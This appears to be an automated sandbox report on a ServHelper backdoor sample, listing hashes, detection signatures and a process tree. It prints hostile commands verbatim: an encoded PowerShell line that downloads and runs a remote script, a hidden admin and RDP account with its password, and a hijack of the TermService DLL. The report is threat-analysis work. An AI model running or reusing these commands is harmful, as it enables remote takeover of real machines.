Analysis
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max time kernel
123s -
max time network
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platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 22:11
Static task
static1
Behavioral task
behavioral1
Sample
f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe
Resource
win10v2004-en-20220113
General
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Target
f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe
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Size
4.5MB
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MD5
ec73cfe671432b6b734b93c0d9f90625
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SHA1
3602b219f902903ccf253ab816dc4c6c73a6e003
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SHA256
f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f
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SHA512
07dc8900ae02a9aa3a4140f14a15ca5aee50c574aecd83df1de4d2e270166110fdca9978732c56373a479395afbce474c3c2773511968bc06812b388adf68226
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 876 powershell.exe 6 876 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1596 icacls.exe 820 icacls.exe 432 icacls.exe 1644 icacls.exe 1052 icacls.exe 816 icacls.exe 1600 takeown.exe 1296 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a0000000138f2-103.dat upx behavioral1/files/0x00090000000138fa-104.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1740 Process not Found 1740 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 820 icacls.exe 432 icacls.exe 1644 icacls.exe 1052 icacls.exe 816 icacls.exe 1600 takeown.exe 1296 icacls.exe 1596 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9G5GS7NFZ3O1CN44KI5W.temp powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 5028ee00f816d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1856 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 656 powershell.exe 852 powershell.exe 2040 powershell.exe 1220 powershell.exe 656 powershell.exe 656 powershell.exe 656 powershell.exe 876 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1740 Process not Found 1740 Process not Found 1740 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 656 powershell.exe Token: SeDebugPrivilege 852 powershell.exe Token: SeDebugPrivilege 2040 powershell.exe Token: SeDebugPrivilege 1220 powershell.exe Token: SeRestorePrivilege 1596 icacls.exe Token: SeAssignPrimaryTokenPrivilege 924 WMIC.exe Token: SeIncreaseQuotaPrivilege 924 WMIC.exe Token: SeAuditPrivilege 924 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 924 WMIC.exe Token: SeIncreaseQuotaPrivilege 924 WMIC.exe Token: SeAuditPrivilege 924 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1576 WMIC.exe Token: SeIncreaseQuotaPrivilege 1576 WMIC.exe Token: SeAuditPrivilege 1576 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1576 WMIC.exe Token: SeIncreaseQuotaPrivilege 1576 WMIC.exe Token: SeAuditPrivilege 1576 WMIC.exe Token: SeDebugPrivilege 876 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1700 wrote to memory of 656 1700 f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe 27 PID 1700 wrote to memory of 656 1700 f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe 27 PID 1700 wrote to memory of 656 1700 f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe 27 PID 656 wrote to memory of 556 656 powershell.exe 29 PID 656 wrote to memory of 556 656 powershell.exe 29 PID 656 wrote to memory of 556 656 powershell.exe 29 PID 556 wrote to memory of 1816 556 csc.exe 30 PID 556 wrote to memory of 1816 556 csc.exe 30 PID 556 wrote to memory of 1816 556 csc.exe 30 PID 656 wrote to memory of 852 656 powershell.exe 31 PID 656 wrote to memory of 852 656 powershell.exe 31 PID 656 wrote to memory of 852 656 powershell.exe 31 PID 656 wrote to memory of 2040 656 powershell.exe 33 PID 656 wrote to memory of 2040 656 powershell.exe 33 PID 656 wrote to memory of 2040 656 powershell.exe 33 PID 656 wrote to memory of 1220 656 powershell.exe 35 PID 656 wrote to memory of 1220 656 powershell.exe 35 PID 656 wrote to memory of 1220 656 powershell.exe 35 PID 656 wrote to memory of 1600 656 powershell.exe 38 PID 656 wrote to memory of 1600 656 powershell.exe 38 PID 656 wrote to memory of 1600 656 powershell.exe 38 PID 656 wrote to memory of 1296 656 powershell.exe 39 PID 656 wrote to memory of 1296 656 powershell.exe 39 PID 656 wrote to memory of 1296 656 powershell.exe 39 PID 656 wrote to memory of 1596 656 powershell.exe 40 PID 656 wrote to memory of 1596 656 powershell.exe 40 PID 656 wrote to memory of 1596 656 powershell.exe 40 PID 656 wrote to memory of 820 656 powershell.exe 41 PID 656 wrote to memory of 820 656 powershell.exe 41 PID 656 wrote to memory of 820 656 powershell.exe 41 PID 656 wrote to memory of 432 656 powershell.exe 42 PID 656 wrote to memory of 432 656 powershell.exe 42 PID 656 wrote to memory of 432 656 powershell.exe 42 PID 656 wrote to memory of 1644 656 powershell.exe 43 PID 656 wrote to memory of 1644 656 powershell.exe 43 PID 656 wrote to memory of 1644 656 powershell.exe 43 PID 656 wrote to memory of 1052 656 powershell.exe 44 PID 656 wrote to memory of 1052 656 powershell.exe 44 PID 656 wrote to memory of 1052 656 powershell.exe 44 PID 656 wrote to memory of 816 656 powershell.exe 45 PID 656 wrote to memory of 816 656 powershell.exe 45 PID 656 wrote to memory of 816 656 powershell.exe 45 PID 656 wrote to memory of 1816 656 powershell.exe 46 PID 656 wrote to memory of 1816 656 powershell.exe 46 PID 656 wrote to memory of 1816 656 powershell.exe 46 PID 656 wrote to memory of 1856 656 powershell.exe 47 PID 656 wrote to memory of 1856 656 powershell.exe 47 PID 656 wrote to memory of 1856 656 powershell.exe 47 PID 656 wrote to memory of 672 656 powershell.exe 48 PID 656 wrote to memory of 672 656 powershell.exe 48 PID 656 wrote to memory of 672 656 powershell.exe 48 PID 656 wrote to memory of 1136 656 powershell.exe 49 PID 656 wrote to memory of 1136 656 powershell.exe 49 PID 656 wrote to memory of 1136 656 powershell.exe 49 PID 1136 wrote to memory of 1688 1136 net.exe 50 PID 1136 wrote to memory of 1688 1136 net.exe 50 PID 1136 wrote to memory of 1688 1136 net.exe 50 PID 656 wrote to memory of 1872 656 powershell.exe 51 PID 656 wrote to memory of 1872 656 powershell.exe 51 PID 656 wrote to memory of 1872 656 powershell.exe 51 PID 1872 wrote to memory of 1864 1872 cmd.exe 52 PID 1872 wrote to memory of 1864 1872 cmd.exe 52 PID 1872 wrote to memory of 1864 1872 cmd.exe 52 PID 1864 wrote to memory of 1804 1864 cmd.exe 53
Processes
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C:\Users\Admin\AppData\Local\Temp\f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe"C:\Users\Admin\AppData\Local\Temp\f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y0gyapbb.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1E69.tmp"4⤵PID:1816
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:852
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1220
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1600
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1296
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1596
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:820
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:432
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1644
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1052
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:816
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1816
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1856
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:672
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1688
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1804
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1860
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1552
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1624
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C:\Windows\system32\net.exenet start TermService5⤵PID:1360
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1752
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1944
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:988
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1744
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1416
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1824
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc gzzlChSG /add1⤵PID:1992
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc gzzlChSG /add2⤵PID:1736
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc gzzlChSG /add3⤵PID:1972
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1308
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:728
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1472
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD1⤵PID:1296
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD2⤵PID:820
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD3⤵PID:1480
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:324
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:556
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1676
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc gzzlChSG1⤵PID:732
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc gzzlChSG2⤵PID:1924
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc gzzlChSG3⤵PID:1804
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1548
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:924
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1972
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1576
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1308
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:876
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